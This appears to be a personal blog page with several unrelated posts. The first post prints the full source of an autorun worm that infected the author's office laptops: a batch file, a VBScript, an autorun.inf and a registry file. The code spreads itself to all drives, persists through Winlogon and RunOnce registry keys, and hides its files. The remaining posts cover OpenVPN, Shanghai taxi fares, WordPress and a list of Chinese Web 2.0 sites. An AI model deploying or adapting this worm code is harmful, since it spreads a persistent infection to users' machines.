HitHat - Billy Qiu's Blog

Recently all the laptops in our office got attacked by some "autorun" worm.

Here is the source code for these files.  The files can be found in %systemroot%\system32\ folder and all infected root drives.

1. Autorun.inf

[autorun]
shell\open=打开(&O)
shell\open\Command=WScript.exe .\autorun.vbs
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=WScript.exe .\autorun.vbs

2. Autorun.bat

@echo off
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit

‘;免杀
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
‘;免杀

:open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="-" attrib -s -a -h -r %2\sxs.exe
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\sxs.exe
:end

3. Autorun.reg

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="userinit.exe,autorun.bat"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"autorun"="sxs.exe"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowSuperHidden"=dword:00000000
"Hidden"=dword:00000002

4. Autorun.vbs

on error resume next
Set WshShell =CreateObject("WScript.Shell")

if 1=0 then
else
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\autorun.vbs" then
isdir=true
else
a=WshShell.Run("autorun.bat Open" ,0,False)
isdir=false
end if
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("autorun.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\autorun.bat",d&"\",True
Of.CopyFile dir&"\sxs.exe",d&"\",True
Of.CopyFile dir&"\autorun.inf",d&"\",True
Of.CopyFile dir&"\autorun.reg",d&"\",True
Of.CopyFile dir&"\autorun.vbs",d&"\",True
else
Of.CopyFile "autorun.bat",d&"\",True
Of.CopyFile "sxs.exe",d&"\",True
Of.CopyFile "autorun.inf",d&"\",True
Of.CopyFile "autorun.reg",d&"\",True
Of.CopyFile "autorun.vbs",d&"\",True
end if
a=WshShell.Run("autorun.bat + "&d ,0,True)
End If
next
if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("autorun.bat - "&dir ,0,True)
Of.CopyFile "autorun.bat",dir&"\",True
Of.CopyFile "sxs.exe",dir&"\",True
Of.CopyFile "autorun.inf",dir&"\",True
Of.CopyFile "autorun.reg",dir&"\",True
Of.CopyFile "autorun.vbs",dir&"\",True
a=WshShell.Run("autorun.bat + "&dir ,0,True)
End if
next
End if

OpenVPN is the free open source project of VPN solutions.  I installed the GUI version on my windows 2003 server a long time ago.  However, I tried hard  to configure it that time by following some web tutorial but couldn’t get it to work properly.  Today I found two posts in Chinese which help me to finally get it to work.

Links below:

Windows 下使用 CA 验证的 OpenVPN Server 的配置方法 (by ELM)

OpenVPN之以太网桥接 (by 温占考 from OpenVPN.net)

courtesy of  "decade_null"

Shanghai taxi fares rise since May 11, the base fee which covers the first three kilometers increases to 11 yuan from 10 yuan during the day before (11pm), and the price after 11pm jumped to 14 yuan from current 13 yuan.

Besides this, the price for each additional kilometers also rised slightly from 2 yuan to 2.1 yuan.

Reported by Shanghai Daily

Finally Google China announced the Chinese name for Google which is GuGe (谷歌). - Singing in the valley

My Friend Keen shared the Official promotion flash with me.  He said that it was very hard for him to find it.

Share it here for those who haven’t seen it.

ChenPress is a WYSIWYG HTML Editor WordPress plugin, it is built on the FCKeditor. 
Today I finally get it installed.  The original WP 2.0 rich text editor had some issues on some complex formating.  Thank to the author W. Chen (a nice Chinese guy )

The OpenSource FCKeditor project had been developing for years.  It has the following features

• Internet Explorer 5.5+ and Gecko browser (Mozilla / Firefox / Netscape) compatibility
• XHTML 1.0 support
• Font formatting: type, size, color, style, bold, italic, etc
• Text formatting: alignment, indentation, bullets list, etc
• Cut, Paste and Paste as Plain Text, Undo and Redo
• Paste from Word cleanup with auto detection
• Link creation
• Anchors support
• Image insertion, with upload and server browsing support
• Table creation and editing (add, delete rows, etc) - one of the best systems in the market.
• Table cells editing (size, colors, etc)
• Form fields
• Right click context menus support
• Complete toolbar customization
• Skins support.
• Plugins support.
• Spell checker
• CSS support for better integration with your web site
• Multi-language support with automatic user language detection. Including Right to Left scripting.
• Complete page editing (from <HTML> to </HTML>) or just contents.
• Lightweight and fast
• Automatic browser detection and customization
• Integration with ASP, ASP.NET, Java, ColdFusion, Perl, PHP and Javascript.
• Image and file links upload and server repository browser.
• For web developers it is easy to install and customize
• For web users it’s simple and easy to use!

51 亿友(YiYou) http://www.yeeyoo.com/
Community for entertainment, friendships, business

52 联络家(LianluoJia) http://www.linkist.com/
Business friends, interests, job finding, business information

53 PPlive http://www2.pplive.com/
Web Television broadcast platform based on P2P technology

54 波普播客(BoPu Podcast) http://www.imboke.com
Another podcast website, new born

55 天际网(TianJi) http://www.tianji.com
online friends seeking community for business professionals

56 拍客地带(PaiKe Zone) http://www.fzone.cn
Friend blog community

57 搜狐博客 http://blog.sohu.com/
Still in BETA, ICP blogging service provider (not stable)

58 Mapbar http://www.mapbar.com/
Provide mapping service with blogging and other functions

59 赶集(Ganji) http://www.ganji.com/
(Landing page failed to load during my testing)

60 又拍网(YouPai) http://www.yupoo.com/
Photo publishing and sharing service provider

61 乐视网(LeShi) http://www.le-tv.com
Web Television broadcast platform based on P2P technology

62 万蝶移动博客(WanDie Mobile Blog) http://www.pdx.cn
WAP Photo Sharing and Blogging Service Provider

63 狗狗(GouGou) http://www.gougou.com/
Online RSS Feeds Subscription

64 乐乐互动(LeLe Interactive) http://www.lele.com/web/
Ringtone download and multimedia content downloads for cellphones

65 3G门户网(3G Portal) http://www.3g.net.cn
Pics and Ringtones, Games, Books, Video Cast on cellphones

66 Cblinkx TV http://www.cblinkx.tv
Chinese video search engine

67 滚石音乐网(GunShi Music) http://irock.cn/
DIY singers’ online karaoke songs sharing and publishing site

68 粉丝网(FenSi) http://www.ifensi.com
Online community for the Fans group of Chinese pop stars

69 我要（51） http://www.51.com
Verified real person friends seeking online community

70 易登网(YiDeng) http://www.edeng.cn
Another classifieds service provider

71 K68 http://www.k68.cn
SOHO working, freelancer online project bidding service provider

72 中国播客网(China Podcast) http://www.vvlogger.com
Podcast website

73 那里网(NaLi) http://www.naalee.com
Beijing local classifieds

74 Teein帖易中文聚合门户(Teein Chinese Aggregation) http://www.teein.com
Aggregated content from other content providers and other sources, provide a search engine

75 众评(ZhongPin) http://report.7234.com/
Online commenting on services and products

76 酷客音乐网 (KuKe Music) http://www.koook.com
DIY singer online karaoke songs publishing and sharing website

77 淘职网(TaoZhi) http://www.go2work.com.cn
Searching on aggregated job portals job positions, similar as JobUI

78 捉鱼网(ZhuoYu) http://www.joyes.com
Cell phone games portal

79 新聚网(XinJu) http://www.tagriver.com
Similar as Digg.com, rating on stories published by users, feeds aggregation (system performance slow)

80 We@link http://www.wealink.com
Social Capital Bank SNS online friendship community

81 网眼(Web Eye) http://www.webeye.net.cn
New online marketing model, Tracking user activities on corporate website and actively communicate with the user to gain more clients

82 中国交友中心(Sino Friends) http://www.96333.com
Sino friends seeking site

83 博易(BoYi) http://www.anyp.cn/
Online community with blogging, personal website, blog group, chat bar, bookmarks etc

84 中国114黄页(China 114 Yellow pages) http://www.114chn.com
Online Yellow pages for business

85 TOM博客(Tom Blog) http://blog.tom.com
Tom ICP blogging service

86 圈网你我他(Circle Network NiWoTa) http://www.niwota.com
Online friends seeking community with interest groups

87 94pop流沙歌秀(94pop LiuShaGeXiu) http://www.94pop.com
DIY singer online karaoke songs publishing and sharing platform

88 本地通(BenDiTong) http://www.bodoto.com
Local classifieds for limited cities

89 爬狗(PaGou) http://www.pagou.com
(Failed to access the landing page during my test)

90 歪酷博客(WaiKu Blog) http://www.yculblog.com
Another blogging hosting service provider

91 天方有声图书(TianFang Audible Books) http://www.tingbook.com
Similar as audible.com, online pay-per-download audio books center

92 中国博乐网(China BoLe) http://www.boloo.com
Blogs ranking, auditing, reporting, BSP ranking site

93 小蜜蜂(Little Bee) http://www.com.tv
VoIP client, Video Chat, Free Movie Theatre, Broadband TV

94 播客宝典(Podcast Podium) http://www.hopesome.com
Podcast wiki and tutorial, podcasts lists

95 爱米网(AiMi) http://www.aimi.cn
Note your important goads and wishes and publish them online to share your success with others

96 嘻哈哈(XiHaha) http://www.seehaha.com
Personal Video Sharing platform

97 人脉招聘网(RenMai Recruiting) http://www.rmzp.com
Integrate HR recruitement services with people network

98 分类哥哥(FenLei GeGe) http://www.fenleiGG.com
One of the popular online classifieds services provider in China

99 Komoo http://www.komoo.com
Friendship community by invitations only, cloned from orkut

100 碰碰网(PengPeng) http://www.pengpeng.com
online friends seeking community by groups

Mar 28, Internet Society of China and IDG Venture Investment Annouced the “China Internet Web 2.0 Top 100″.

1 猫扑(Maopu) http://www.mop.com
Originated by its unique style of “melting-pot” forum. Now it becomes one of the famous portal site covering entertainment, news, literature, games etc.

2 和讯(Hexun) http://www.hexun.com
Famous Business and Finance Portal, recently added web 2.0 elements such as blogs, groups, bookmarks, online rss feeds etc, Billy Recommended

3 豆瓣网(DouBanWang) http://www.douban.com
Reading, Movies, Musics sharing your favorite books, movies and music with any other person online, you can also exchange your 2nd handed books, cds or dvds

4 奇虎(QiHu) http://www.qihoo.com
Intelligent Search Engine for content aggregation

5 网易博客(Netease Blog) http://blog.163.com
Tridition ICQ now hosting new services of blogging, however nothing really make it special from other blogging service providers

6 噢噢中国(AoAo China) http://www.oo.cn
Doesn’t ring a bell for me by its weird name “oo” or “AoAo” in Chinese. The services are old fashioned and out of date. Merely sub-domain names for abbreviation. I don’t get it why this lame site could be selected as Top 6 for Web 2.0 though there is nothing can make any sense in terms of web 2.0 (Don’t wasting your time on this one)

7 百度贴吧(BaiDu Posts Bar) http://post.baidu.com
It exends the functionalities of tridition forums, anyone can create virtual boards (bars) on any specific topics and users can posts and add comments under that boards. The cons is it could be a choas when hundreds of bars about same topics make you completely depressed.

8 新浪博客(Sina Blog) http://blog.sina.com.cn
The largest blog service provider hosted most contemporary Chinese pop stars’ blogs.

9 网络秀 (Network Show) http://www.m149.com/
A dull site for advocating online Music stores and Music Companies. Doesn’t have much individual artist participating or does the site compatible with your firefox. Looks very dull. Don’t know why it could be Top 9

10 客齐集(Kijiji) http://www.kijiji.com.cn
Biggest online community for classifieds, operated by famous shanghai blogger Wangjianshuo and invested by eBay (Highly recommended)

11 VeryCD http://www.verycd.com/
It is amazing that VeryCD was also nominated. Well as far as I’m concerned it’s merely a Emule P2P resource sharing and publishing site. Due to some of the legal issues on the P2P sharing I personally would reserve my opinion on nominate this type of site.

12 Donews http://www.donews.com
Biggest IT Writing Community in China. Many super stars in China IT business sphere are members of this community.

13 天涯社区 http://www.tianya.cn
One of the biggest Chinese online community, similar as Mop but with a triditional tree view navigation pane on the left. Old fashioned but still useful.

14 土豆网 http://www.toodou.com
China Podcast Network

15 大旗网（原ChinaBBS) http://www.daqi.com/
Aggregated contents and blogs

16 58同城分类(58 Local Classifieds) http://www.58.com/
Local City Classifieds, New born site (similar as Kijiji)

17 周博通(ZhouBoTong) http://www.potu.com
RSS subscription clients and online RSS feeds subscription

18 大众点评网 http://www.dianping.com
Similar as famous restaurants rating website Zagat, it’s the Zagat in China

19 BlogCN http://www.blogcn.com
One of the biggest Chinese blogging hosting services provider, it should be the first hosting provider in China according to its self introduction

20 博客网(BoKee) http://www.bokee.com
One of the biggest Chinese blogging hosting services provider founded by Fang Xing Dong

21 Zcom智通(ZhiTong) http://www.zcom.com
Largest online multimedia interactive magazines content & hosting provider, anybody and make their own digital interactive magazine to share them online by using the tools provided by Zcom

22 fotoal http://www.fotoal.com/
photo blog site, however I cannot open it during my testing

23 fotolog http://www.fotolog.com.cn/
A clone of Flickr, photo hosting website in Chinese

24 优友地带(YouYou DiDai) http://www.uuzone.com
Biggest web 2.0 friends seeking site in China, provided with Groups, Voice IM Tools, Blogs and Voice Blogs etc.

25 赛我网(SaiWo) http://www.cyworld.com.cn
Online Friend Seeking Community, has friends and groups with virtual items stores which teenager loves

26 YOK优客搜索 (YouKe) http://www.yok.com
Seach site which just syndicate search services from other vendors such as google , yahoo and other P2P resources publisher. Results showed using 3rd party URL, advocate their tools ActiveX IE plugin (another junky Chinese Search Engines plugin maker, be careful)

27 My See http://www.mysee.com/
Broadcast triditional TV programs online using P2P plugins for Windows Mediaplayers

28 CSDN http://www.csdn.net
Biggest China Developer Online Community

29 楚现会(ChuXian Hui) http://www.appiir.com
Online people community explore your friends circle by knowledge, people, information, topics and activities

30 feedsky http://www.feedsky.com
Assistance site, clone the idea from feedburner, see it uses the verb “burn” to publish feeds for aggregation and stats analysis

31 365Key http://www.365key.com/
Biggest Online Bookmark website in China, similar as del.icio.us

32 摩网(Mo) http://www.moabc.com
WAP Portal for online phone book, rss reader, mobile email access etc

33 菠萝网 (BoLuo) http://www.podlook.com
Another Chinese Podcasting service provider

34 影立驰(YingLiChi) http://www.tvix.cn/
Fail to lauch the landing page during my test

35 E都市(E Dushi) http://www.edushi.com/
Online mapping site with 3D graphics, however personally I don’t like the images much since they are not real 3d coz you cannot rotate the map

36 银河台(YinHe Tai) http://www.radio.cn
Biggest Chinese Network Radio (NJ) Station with services of blog and podcasts

37 邦邦网(BangBang) http://www.81088.com
Mobile phone ring bells pictures service provider

38 口碑网(KouBei) http://www.koubei.com
Fail to lauch the landing page during my test (Online Classifieds famous for its real estate info services)

39 Blogbus http://www.blogbus.com/
Another blogging service hosting provider

40 网库黄页(WangKu Yellow Pages) http://www.99114.com
Chinese online yellow page service provider, you can also publish your trading business information

41 xplus http://www.xplus.com.cn
Another free online rich multimedia magazine website

42 看天下(Kan TianXia) http://www.kantianxia.com
RSS Reader Client and online Service provider

43 POCO http://www.poco.cn
Multimedia content P2P sharing, Digital Interactive magazine download and making, photo sharing etc

44 CNCN城市平台 (City Platform) http://www.cncn.com/
Platform for all information of cities in China, local media reports and other aggregated information

45 聚网(Ju) http://www.365ju.com/
Business Professionals online community, real friends who’d been met

46 爆米花网(BaoMiHua) http://www.pomoho.com
Video Clips Sharing

47 快乐米 (KuaiLeMi) http://www.colorme.com.cn
DIY recordinig and online Karaoke, sharing and publishing songs site for DIY singers

48 qzone http://qzone.qq.com/
Tencent’s QQ users’ online community

49 磊客中国(LeiKe China) http://www.rox.com.cn/
Another P2P resources publishing site for downloading Movies, Games, Musics
50 职友集(ZhiYou Ji) http://www.jobui.com
Integrate all the job information published on serveral major job search engines to single platform, also had user blogs and SNS community. Amazingly fast and accurate. Highly recommended.BTW I met the founder Zheng Ze Feng in cnblog conference last year

Get Billy’s invitation to try WP here. It’s unbelievable powerful and versatile, much stronger than MT2.6 which I currently use.

After several times of rolling back to history data and two days totally server outage. Wangjianshuo a famous blogger in Shanghai had been dealing supporting cases with his hosting service provider lunarpages.com which had a very very poor support service. He said the support ticket he opened had no response for more than 56 hours. (Hard to imagine for me, who are going to do business with this vendor). Well, he finally found the quickest way to contact them was via telephone call. Although he’d been asked to stay on hold for 7 mins, he said that was much better than the previous vendor ipowerweb which had told him to wait for 27 mins.

Well, I also think that most of the call centers in states do have a very poor service. I hardly had the patience to wait for about 20 mins to talk to a real person. This happens so frequently, thus interestingly this was regarded as normal and was widely accepted by most Americans.

Speaking of the poor telephone support services, there are some exceptions however I would like to mention here. One example is the Citi Bank who did a series of TV commercials advertising its new call center services, saying that its customers can directly talk to a real person when making a phone call for support.  Since I’m not its card user, I’d never tested it.  The other example is Godaddy, (It seems I’ve been mention godaddy frequently recently, I promise I’m not advertising here). They actively make phone calls to their customers asking whether they had any questions about using their services when the customers had done any purchases recently. As for myself, I got at least three phone calls from them, however due to timezone difference, I didn’t pick up any of them during my midnight.  However they kept trying for 3 midnights continuously. That was amazing for me.  And some Americans even couldn’t help shouting out excitedly about that,  “Wow, Godaddy called me, which was cool!” (I heard similar expressions in both TWIT and Diggnation podcasts)  hehe

Again, with the help from Windix I successfully installed the WP with all the MT entries exported and then imported to WP, including the comments. It was just like a breeze. The whole installation and data migration couldn’t be easier.

Plus, by doing some research on the .htaccess file, also with some help from WP website. I then made changes to the .htaccess file, so that the request to the old MT urls will be redirected to the new WP url. As the example below. They both direct users to the WP new url.
Old URL:(MT) http://blog.hithat.com/archives/shanghai_related/2006_03_16_xiangyang_market_will_shut_down_eventually.htm

New URL: (WP)
http://blog.hithat.com/2006/03/16/xiangyang-market-will-shut-down-eventually/

So the transition now looks like transparent. Thanks to WordPress and all the courteous WP users for sharing their knowledge.

I’ll keep exploring other features of the WP, just stay tuned